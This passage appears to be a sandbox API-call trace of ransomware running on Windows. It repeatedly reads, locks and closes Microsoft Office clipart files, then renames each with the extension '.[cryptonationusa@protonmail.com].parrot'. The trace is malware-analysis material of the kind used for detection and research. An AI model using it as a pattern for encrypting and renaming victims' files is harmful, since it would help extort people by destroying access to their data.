hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.611] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xda0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xda0, lpOverlapped=0x0) returned 1 [0141.611] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.611] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xeb8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.612] CloseHandle (hObject=0x288) returned 1 [0141.612] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239975.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239975.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.613] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0141.615] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdf0, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.615] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.615] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.616] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.616] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcd8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcd8, lpOverlapped=0x0) returned 1 [0141.616] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.617] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdf0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.617] CloseHandle (hObject=0x288) returned 1 [0141.617] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239997.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239997.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.618] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0141.620] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1f10, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.620] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.620] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.622] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.622] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1df8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1df8, lpOverlapped=0x0) returned 1 [0141.623] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.623] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1f10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.623] CloseHandle (hObject=0x288) returned 1 [0141.623] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240157.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240157.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.625] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.626] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa528, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.626] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.626] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.628] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.628] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa410, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa410, lpOverlapped=0x0) returned 1 [0141.630] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.631] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa528, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.631] CloseHandle (hObject=0x288) returned 1 [0141.631] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240175.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240175.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0141.634] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xedc, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.634] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.634] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.681] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.681] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xdc4, lpOverlapped=0x0) returned 1 [0141.681] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.681] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xedc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.681] CloseHandle (hObject=0x288) returned 1 [0141.682] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240189.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240189.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.684] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0141.686] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x158e, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.686] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.686] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.688] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.688] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1476, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1476, lpOverlapped=0x0) returned 1 [0141.689] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.689] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x158e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.689] CloseHandle (hObject=0x288) returned 1 [0141.689] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0240291.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0240291.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.691] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0141.695] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa46, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.695] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.695] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.698] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.699] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x92e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x92e, lpOverlapped=0x0) returned 1 [0141.699] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.699] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa46, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.699] CloseHandle (hObject=0x288) returned 1 [0141.700] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241019.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241019.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.701] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0141.703] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb66, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.703] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.703] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.704] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.704] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa4e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xa4e, lpOverlapped=0x0) returned 1 [0141.704] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.705] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb66, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.705] CloseHandle (hObject=0x288) returned 1 [0141.705] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241037.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241037.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.706] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0141.708] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa3e, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.708] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.708] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.709] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.710] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x926, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x926, lpOverlapped=0x0) returned 1 [0141.710] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.710] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa3e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.710] CloseHandle (hObject=0x288) returned 1 [0141.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241041.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241041.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.711] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.712] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0141.714] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbca, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.714] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.714] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.715] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.715] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xab2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xab2, lpOverlapped=0x0) returned 1 [0141.716] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.716] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.716] CloseHandle (hObject=0x288) returned 1 [0141.716] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241043.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241043.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.717] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.717] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.717] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0141.719] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x942, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.719] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.719] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.720] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.720] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x82a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x82a, lpOverlapped=0x0) returned 1 [0141.721] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.721] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x942, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.721] CloseHandle (hObject=0x288) returned 1 [0141.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.722] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.722] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.722] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0141.724] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdd6, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.724] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.724] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.726] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.726] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xcbe, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xcbe, lpOverlapped=0x0) returned 1 [0141.726] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.726] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdd6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.726] CloseHandle (hObject=0x288) returned 1 [0141.727] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.728] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.728] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.728] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0141.730] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8ca, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.730] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.730] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.731] SetFilePointerEx (in: 